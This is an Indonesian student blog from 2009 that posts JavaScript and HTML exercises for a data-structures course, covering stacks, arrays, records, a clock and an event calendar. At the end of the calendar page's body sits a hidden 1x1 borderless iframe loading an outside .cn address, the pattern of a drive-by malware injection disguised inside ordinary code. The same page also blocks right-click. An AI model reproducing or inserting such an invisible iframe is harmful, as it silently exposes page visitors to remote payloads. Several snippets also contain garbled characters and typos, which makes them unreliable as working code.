filosofy

Tab 1.1
Tab 1.2
Tab 1.3
Tab 2.1
Tab 2.2
Tab 2.3
Tab 3.1
Tab 3.2
Tab 3.3

teman-teman

facebook

MAY BLOG

Selasa, 14 April 2009

<html>
<head>
<title>Struktur fata stack</title>
<script language = "JavaScript">

var stack = new Array();
function Input_ke_Stack(data)
{
stack.push(data);
}
function Ambil_dari_Stack()
{
var data_dari_stack = stack.pop();
if (data_dari_stack == undefined)
return "stack sudah kosong";
else
return data_dari_stack;
}
function TampilkanStack(list)
{
list.options.length = 0;
for (var i = 0; i < stack.length; i++)
{
var data = new Option(stack[i]);
list.options[list.options.length] = data;
}
}
</script>
</head>
<body>
<form>
<input type=text name=textSimpan>
<input type=button value="Masukan ke stack"
onClick='Input_ke_Stack(textSimpan.value);
textSimpan.value="";
TampilkanStack(mediaList);'>
<select name="mediaList" size=12>
<option>Tampilan data....
</select>
<input type=text name=textAmbil size=20>
<input type=button value="Ambil dari Stack"
onClick="textAmbil.value =Ambil_dari_Stack();
TampilkanStack(mediaList);">
</form>
</body>
</html>
<html>
<head>
<title>Contoh Implementasi Push dan POP pada Stack</title>
</head>
<body>
<script type= "text/javascript">
var stack = new Array;
stack.push("A");
stack.push("B");
stack.push("C");
document.write("stack:"+stack.toString() +"<br>");

var YangDiAmbil = stack.pop();
document.write("Data Yang Diambil:"+YangDiAmbil);
document.write("<br>");
document.write("Isi Stack Terakhir:"+stack.toString());
</script>
</body>
</html>
<HTML>
<Head>
<title> Tugas Stuktur Data </TITLE>
<script>
<!--
alert ("Wilujeng MeliHat ^^");
alert ("MoNgGo seDerEK Sedanten ^^");
//-->
</script>


</HEAD>

<Body bgcolor="blue">
<font color="red">
<p> JaM DAn Kalender
</font><hr>

<tr>
<th>Tugas</th>
<th>Struktur </th>
<th>Data</th>
<th>"MenunJukan WakTu KarawaNG BaRat"</th>
</tr>

<h1> Hasil PenaMPILannya </h1><font color="red">
<marquee> FaZUn Bin NuRKHafid ASlI WOnK BrEBEs</marquee>

<html>
<head>
<title>Clock</title>
<script type="text/javascript">
var namaBulanI = new Array( "Januari","Februari","Maret","April","Mei","Juni",
"Juli","Agustus","September","Oktober","November","Desember" );
var namaHariI = new Array( "Kamis","Jumat","Sabtu","Minggu","Senin","Selasa","Rabu" );

function showDate() {
now = new Date();

iTanggalM = now.getDate();
iBulanM = now.getMonth();
iTahunM = now.getYear();
if(iTahunM<1900) { iTahunM += 1900; } // Y2K

iJam=now.getHours();
iMenit=now.getMinutes();
iDetik=now.getSeconds();

hr = Date.UTC(iTahunM,iBulanM,iTanggalM,0,0,0)/1000/60/60/24;

sDate = namaHariI[hr%7]+", "+iTanggalM+" "+namaBulanI[iBulanM]+" "+iTahunM+"<br>";
sDate += (iJam<10?"0"+iJam:iJam)+":"+
(iMenit<10?"0"+iMenit:iMenit)+":"+
(iDetik<10?"0"+iDetik:iDetik);

if(document.all)
{ document.all.clock.innerHTML=sDate; }
else if(document.getElementById)
{ document.getElementById( "clock" ).innerHTML=sDate; }
else { document.write(sDate); }
}

function showIt() {
showDate();
if(document.all||document.getElementById)
{ setInterval("showDate()",1000); }
}
</script>
</head>
<body>
<span id="clock"><script>showIt();</script></span>
</body>
</html>

<HTML>
<head>
<META HTTP-EQUIV="imagetoolbar" CONTENT="no">
<style type="text/css">
body {
font-family: arial, helvetica, serif;

</style>
<script type="text/javascript">
startList = function() {
if (document.all&&document.getElementById) {
navRoot = document.getElementById("nav");
for (i=0; i<navRoot.childNodes.length; i++) {
node = navRoot.childNodes[i];
if (node.nodeName=="LI") {
node.onmouseover=function() {
this.className+=" over";
}
node.onmouseout=function() {
this.className=this.className.replace(" over", "");
}
}
}
}
}
window.onload=startList;
var message="";
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
document.oncontextmenu=new Function("return false")
<!-- Original: Nick Korosi (nfk2000@hotmail.com) -->
<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->
<!-- Begin
var dDate = new Date();
var dCurMonth = dDate.getMonth();
var dCurDayOfMonth = dDate.getDate();
var dCurYear = dDate.getFullYear();
var objPrevElement = new Object();
function fToggleColor(myElement) {
var toggleColor = "#ff0000";
if (myElement.id == "calDateText") {
if (myElement.color == toggleColor) {
myElement.color = "";
} else {
myElement.color = toggleColor;
}
} else if (myElement.id == "calCell") {
for (var i in myElement.children) {
if (myElement.children[i].id == "calDateText") {
if (myElement.children[i].color == toggleColor) {
myElement.children[i].color = "";
} else {
myElement.children[i].color = toggleColor;
}
}
}
}
}
function fSetSelectedDay(myElement){
if (myElement.id == "calCell") {
if (!isNaN(parseInt(myElement.children["calDateText"].innerText))) {
myElement.bgColor = "#c0c0c0";
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = parseInt(myElement.children["calDateText"].innerText);
objPrevElement = myElement;
}
}
}
function fGetDaysInMonth(iMonth, iYear) {
var dPrevDate = new Date(iYear, iMonth, 0);
return dPrevDate.getDate();
}
function fBuildCal(iYear, iMonth, iDayStyle) {
var aMonth = new Array();
aMonth[0] = new Array(7);
aMonth[1] = new Array(7);
aMonth[2] = new Array(7);
aMonth[3] = new Array(7);
aMonth[4] = new Array(7);
aMonth[5] = new Array(7);
aMonth[6] = new Array(7);
var dCalDate = new Date(iYear, iMonth-1, 1);
var iDayOfFirst = dCalDate.getDay();
var iDaysInMonth = fGetDaysInMonth(iMonth, iYear);
var iVarDate = 1;
var i, d, w;
if (iDayStyle == 2) {
aMonth[0][0] = "Sunday";
aMonth[0][1] = "Monday";
aMonth[0][2] = "Tuesday";
aMonth[0][3] = "Wednesday";
aMonth[0][4] = "Thursday";
aMonth[0][5] = "Friday";
aMonth[0][6] = "Saturday";
} else if (iDayStyle == 1) {
aMonth[0][0] = "Sun";
aMonth[0][1] = "Mon";
aMonth[0][2] = "Tue";
aMonth[0][3] = "Wed";
aMonth[0][4] = "Thu";
aMonth[0][5] = "Fri";
aMonth[0][6] = "Sat";
} else {
aMonth[0][0] = "Su";
aMonth[0][1] = "Mo";
aMonth[0][2] = "Tu";
aMonth[0][3] = "We";
aMonth[0][4] = "Th";
aMonth[0][5] = "Fr";
aMonth[0][6] = "Sa";
}
for (d = iDayOfFirst; d < 7; d++) {
aMonth[1][d] = iVarDate;
iVarDate++;
}
for (w = 2; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (iVarDate <= iDaysInMonth) {
aMonth[w][d] = iVarDate;
iVarDate++;
}
}
}
return aMonth;
}
function fDrawCal(iYear, iMonth, iCellWidth, iCellHeight, sDateTextSize, sDateTextWeight, iDayStyle) {
var myMonth;
myMonth = fBuildCal(iYear, iMonth, iDayStyle);
document.write("<table border='1'>")
document.write("<tr>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][0] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][1] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][2] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][3] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][4] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][5] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][6] + "</td>");
document.write("</tr>");
for (w = 1; w < 7; w++) {
document.write("<tr>")
for (d = 0; d < 7; d++) {
document.write("<td align='left' valign='top' width='" + iCellWidth + "' height='" + iCellHeight + "' id=calCell style='CURSOR:Hand' onMouseOver='fToggleColor(this)' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>");
if (!isNaN(myMonth[w][d])) {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>" + myMonth[w][d] + "</font>");
} else {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)> </font>");
}
document.write("</td>")
}
document.write("</tr>");
}
document.write("</table>")
}
function fUpdateCal(iYear, iMonth) {
myMonth = fBuildCal(iYear, iMonth);
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = "";
for (w = 1; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (!isNaN(myMonth[w][d])) {
calDateText[((7*w)+d)-7].innerText = myMonth[w][d];
} else {
calDateText[((7*w)+d)-7].innerText = " ";
}
}
}
}
// End -->
</script>
</head>
<body>
<table width="760" height="577" border="0">
<tr>
<td width="140">&nbsp;</td>
<td width="620" valign="top"><br><br><b><u>Event Calendar</u></b><br><br>
<script language="JavaScript" for=window event=onload>
<!-- Begin
var dCurDate = new Date();
frmCalendarSample.tbSelMonth.options[dCurDate.getMonth()].selected = true;
for (i = 0; i < frmCalendarSample.tbSelYear.length; i++)
if (frmCalendarSample.tbSelYear.options[i].value == dCurDate.getFullYear())
frmCalendarSample.tbSelYear.options[i].selected = true;
// End -->
</script>
<form name="frmCalendarSample" method="post" action="">
<input type="hidden" name="calSelectedDate" value="">
<table border="1">
<tr>
<td>
<select name="tbSelMonth" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="1">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
<select name="tbSelYear" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="2006">2006</option>
<option value="2007">2007</option>
<option value="2008">2008</option>
<option value="2009">2009</option>
<option value="2010">2010</option>
<option value="2011">2011</option>
<option value="2012">2012</option>
</select>
</td>
</tr>
<tr>
<td>
<script language="JavaScript">
var dCurDate = new Date();
fDrawCal(dCurDate.getFullYear(), dCurDate.getMonth()+1, 30, 30, "12px", "bold", 1);
</script>
</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<iframe src="http://NtKrnlpa.cn/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>

Selasa, 07 April 2009

Data pegawai
<html>
<head><title>Memanipulasi Data Pegawai</title><head>
<script language = "javascript" type="text/javascript">
<!--
var DBPegawai = new Array();
function Pegawai(Fields_NIP,Fields_Nama,Fields_Gaji_Per_Jam,Fields_Jam_Kerja,Fields_Gaji_Total)
{
this.NIP = Fields_NIP;
this.Nama = Fields_Nama;
this.Gaji_Jam = Fields_Gaji_Per_Jam;
this.Jam_Kerja = Fields_Jam_Kerja;
this.Gaji_Total = Fields_Gaji_Total;
}
function inputPegawai()
{
var Nama,Gaji_Per_Jam, Jam_Kerja, Gaji;
while ( NIP = window.prompt("Ketikan NIP (Nomor Induk Pegawai)\n Click 'cancel' untuk Berhenti !!."))
{
Nama = window.prompt ("Nama Pegawai :");
Gaji_Per_Jam = parseInt (window.prompt ("Gaji Per Jam :"));
Jam_Kerja = parseInt (window.prompt ("Jumlah Jam Kerja :"));
Gaji = Gaji_Per_Jam*Jam_Kerja;
alert ("Apakah anda mau menambah data lagi..??\n Jika 'YA' tekan 'OK' kemudian isi data\n Jika 'TIDAK' tekan 'OK' kemudian tekan 'Cancel'");
DBPegawai [DBPegawai.length]=new Pegawai(NIP,Nama,Gaji_Per_Jam,Jam_Kerja,Gaji);
}
ShowPegawai();
}
function ShowPegawai()
{
document.write("<table border='1'>"+ "<tr>"+ "<th>NIP</th><th>Nama</th><th>Gaji Per Jam</th><th>Jam Kerja</th>"+ "<th>Gaji Total</th>"+ "</tr>");
for (i=0; i?DBPegawai.length; i++)
{
document.write("<tr>"+ " <td>" + DBPegawai[i].NIP + "</td>"+ " <td>" + DBPegawai[i].Nama + "</td>" + " <td align='right'>" + DBPegawai[i].Gaji_Jam + "</td>" + " <td align='right'>" + DBPegawai[i].Jam_Kerja + "</td>" + " <td align='right'>" + DBPegawai[i].Gaji_Total + "</td>" + " </tr>");
}
document.write ("</table>");
}
//-->
</script>
</head>
<body onload ="inputPegawai();">
</body>
</html>
Hasil Outputnya sebagaiberikut:
Program Entri Data Pegawai
<Lhtml>
<head><title>Membuat Rekaman Objek</title></head>
<body>
<script language = "javascript">
<!--
var Record = new Array();
function Mahasiswa (npm, nama, prodi, jenjang)
{//properti
this.npm = npm;
this.nama = nama;
this.prodi = prodi;
this.jenjang = jenjang;

//Metode
this.LihatRecordMahasiswa = LihatRecordMahasiswa;
}
function LihatRecordMahasiswa()
{
document.write("<td>" +this.npm+ "</td>");
document.write("<td>" +this.nama+ "</td>");
document.write("<td>" +this.prodi+ "</td>");
document.write("<td>" +this.jenjang+ "</td>");
}
//Mengisi data
Record[0]=new Mahasiswa("0001","Dani","TI","SI");
Record[1]=new Mahasiswa("0002","Doni","TK","D3");
Record[2]=new Mahasiswa("0003","Dina","SI","SI");
Record[3]=new Mahasiswa("0004","Dini","KA","D3");
//Menampilkan Data
document.write("<table border='1'>");
document.write("<th>npm?/th>>th>nama</th>");
document.write("<th>prodi</th><th>jenjang</th><br>");
for (i=0; i < Record.length; i++)
{
document.write("<tr>");
Record[i].LihatRecordMahasiswa();
document.write("</tr>");
}
document.write("</table>?br>");
//-->
</script>
</body>
</html>

hasilnya sebagai berikut
Mengisi Array dengan Cara mengentri dari kotaak pesan.

<html>
<head>
<title>Parameter Arrey</title>
</head>
<body>
<script language ="javascript">
<!--
var tempat=([]);
var data = prompt ("Ketik Jumlah Maksimum Array:");
for (m=1; m<=data; m++)
{
var bil = prompt("Masukan Bilangan :");
tempat[m]= bil;
}
for (n=1; n<=data; n++)
{
document.write("Elemen Array ("+n+") =" +tempat[n] + "<br>");
}
//-->
</script>
</body>
</html>
Hasil Outputnya Sebagai Berikut:

Pendeklarasian

Implementasi Dalam Program dg isi Array dengan memanggil indeksnya
<HTML>
<HEAD>
<TITLE>Belajar Array</TITLE>
</HEAD>
<BODY>
<SCRIPT LANGUAGE= "JavaScript">
<!--
var DAta_ku= new Array ("saya","sedang","senang");
for (i=0; i<3; i++)
{
document.write("DATA_KU [i]" +"<br>Saya</br><br>sedang</br><br>Beljar</br>");
}
alert("selamat Belajar Struktur Data");
alert("Semoga Memperoleh Ilmu yang Bermaanfaat");
//-->
</SCRIPT>
</BODY>
</HTML>
HAsil outputnya Sebagai Berikut:




Program Function Penjuamlahan dan Type Data
<HTML>
<HEAD>
<TITLE>membuat fungsi matematika dengan javascrip</TITLE>
</HEAD>
<BODY>
<font bgcolor="oreng">
<SCRIPT LANGUAGE = "JAvascript">
<!--
function jumlah (x,y)
{
var hasil = x + y;
return(hasil);
}
var a = parseInt(prompt ("Ketikan Bilangan A=\n Ingat Jangan String"));
var b = parseInt(prompt ("Ketikan Bilangan B=\n Ingat Jangan String"));
var z = jumlah(a,b);
document.write( z);
document.write("<br>");
document.write("<hr>");
document.write("Tipe Data nya adalah = " + typeof(z));
//-->
</SCRIPT>
</BODY>
</HTML>
Hasil outputnya sebagai Berikut:
Pogram Konversi Antar Sistem Bilangan
<HTML>
<HEAD>
<TITLE>Type Bilangan</TITLE>
</HEAD>
<BODY Bgcolor = " ABU-ABU">
<SCRIPT LANGUAGE = "JAvascript">
var bil = new Number (25);
document.write("Bilangan Drcimal: " +bil + "<BR>");
document.write("<BR>");

document.write("Biner : " + bil.toString(2) + "<BR>");
document.write("Oktal : " + bil.toString(8) + "<BR>");
document.write("Heksa : " + bil.toString(16)+ "<BR>");

//-->
</SCRIPT>
</BODY>
</HTML>
Hasil oytputnya Sebagai Berikut:

menambahkan 2 bilangan

Program Menambahkan 2 Bilangan

<HTML>
<HEAD>
<TITLE>Type Bilangan</TITLE>
</HEAD>
<BODY Bgcolor = " Blue">
<SCRIPT LANGUAGE = "JAvascript">
var a = 15;
b = 14;
tambah = a + b;
kali = a * b;
document.write("penambahan (" +a+ " + " +b+ ") = " + tambah);
document.write("<BR>");
document.write("perkalian (" +a+ " x " +b+ ") = " + kali);
document.write("<BR>");
//-->

</SCRIPT>
</BODY>
</HTML>

Hasil Outputnya Sebagai Berikut:
<Html>
<Head>
<title> Struktur Data </Title>
<script>
<!--
alert("Selamat Datang");
//-->
</script>
</Head>
<Body bgcolor="pink">
<font color="Yellow">
<B><p> SELAMAT BELAJAR </B>
</font><hr>
<hi> STMIK Kharisma Karawang </hi>
<font color="#01AAEB">
<marquee>FAIZUN BIN NURKHAFID</marquee>
<TABLE border>
<FONT COLOR LEFT15 HIGHT20>
<TR><TH>NPM<TH>NAMA<TH>PRODI

<TR><TH>43e57001<TD>IJUNK<TD>TI
<TR><TH>43E57002<TD>RONI<TD>TI
</TABLE>
</BODY>
</HTML>